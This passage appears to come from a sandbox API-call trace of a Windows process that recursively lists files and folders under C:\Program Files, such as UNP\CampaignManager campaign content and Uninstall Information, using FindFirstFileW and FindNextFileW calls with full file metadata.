ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x8390c831, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x39b54322, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remediation.003.etl", cAlternateFileName="REMEDI~1.ETL")) returned 1 [0290.847] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x8390c831, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x39b54322, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remediation.003.etl", cAlternateFileName="REMEDI~1.ETL")) returned 0 [0290.848] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0290.849] GetProcessHeap () returned 0xaf0000 [0290.849] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0290.849] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76938800, ftCreationTime.dwHighDateTime=0x1d2e919, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x76938800, ftLastWriteTime.dwHighDateTime=0x1d2e919, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="rempl.xml", cAlternateFileName="")) returned 1 [0290.849] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58a4a100, ftCreationTime.dwHighDateTime=0x1d3176b, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x58a4a100, ftLastWriteTime.dwHighDateTime=0x1d3176b, nFileSizeHigh=0x0, nFileSizeLow=0x65008, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="remsh.exe", cAlternateFileName="")) returned 1 [0290.849] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce1400, ftCreationTime.dwHighDateTime=0x1d2f63b, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71ce1400, ftLastWriteTime.dwHighDateTime=0x1d2f63b, nFileSizeHigh=0x0, nFileSizeLow=0x605, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="Unlock.xml", cAlternateFileName="")) returned 1 [0290.849] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce1400, ftCreationTime.dwHighDateTime=0x1d2f63b, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71ce1400, ftLastWriteTime.dwHighDateTime=0x1d2f63b, nFileSizeHigh=0x0, nFileSizeLow=0x605, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="Unlock.xml", cAlternateFileName="")) returned 0 [0290.849] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0290.850] GetProcessHeap () returned 0xaf0000 [0290.850] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0290.850] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe8c055b1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8c055b1, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0290.850] GetProcessHeap () returned 0xaf0000 [0290.850] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0290.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe8c055b1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8c055b1, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0290.852] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe8c055b1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8c055b1, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="..", cAlternateFileName="")) returned 1 [0290.852] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13cbb0, ftCreationTime.dwHighDateTime=0x1d565a9, ftLastAccessTime.dwLowDateTime=0x6abcc500, ftLastAccessTime.dwHighDateTime=0x1d5a6c2, ftLastWriteTime.dwLowDateTime=0x6abcc500, ftLastWriteTime.dwHighDateTime=0x1d5a6c2, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="fling.exe", cAlternateFileName="")) returned 1 [0290.852] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13cbb0, ftCreationTime.dwHighDateTime=0x1d565a9, ftLastAccessTime.dwLowDateTime=0x6abcc500, ftLastAccessTime.dwHighDateTime=0x1d5a6c2, ftLastWriteTime.dwLowDateTime=0x6abcc500, ftLastWriteTime.dwHighDateTime=0x1d5a6c2, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="fling.exe", cAlternateFileName="")) returned 0 [0290.852] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0290.852] GetProcessHeap () returned 0xaf0000 [0290.852] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0290.852] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747f43e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x749f4454, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="UNP", cAlternateFileName="")) returned 1 [0290.852] GetProcessHeap () returned 0xaf0000 [0290.852] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0290.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747f43e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x749f4454, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0290.853] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747f43e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x749f4454, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="..", cAlternateFileName="")) returned 1 [0290.853] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x749f4454, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747febb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="CampaignManager", cAlternateFileName="CAMPAI~1")) returned 1 [0290.853] GetProcessHeap () returned 0xaf0000 [0290.853] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0290.853] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x749f4454, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747febb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0290.853] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x749f4454, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747febb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.853] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x865d24d3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xce2469cc, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x26, dwReserved0=0x0, dwReserved1=0x0, cFileName="CampaignCatalog.json", cAlternateFileName="CAMPAI~1.JSO")) returned 1 [0290.853] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 1 [0290.853] GetProcessHeap () returned 0xaf0000 [0290.853] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0290.854] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0290.854] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.854] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 1 [0290.854] GetProcessHeap () returned 0xaf0000 [0290.854] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0290.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0290.855] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.855] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x90d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config_131491847713900000.json", cAlternateFileName="CONFIG~1.JSO")) returned 1 [0290.855] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76437f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content1", cAlternateFileName="")) returned 1 [0290.855] GetProcessHeap () returned 0xaf0000 [0290.855] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0290.856] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76437f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0290.856] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76437f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.856] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76f9fe7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-sa", cAlternateFileName="")) returned 1 [0290.856] GetProcessHeap () returned 0xaf0000 [0290.856] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0290.857] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76f9fe7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0290.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76f9fe7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xb5b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0290.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0290.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0290.859] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0290.859] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0290.859] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0290.860] GetProcessHeap () returned 0xaf0000 [0290.860] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0290.860] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0290.860] GetProcessHeap () returned 0xaf0000 [0290.860] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0290.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0290.861] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.861] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xd556, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0290.861] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0290.862] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0290.862] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, 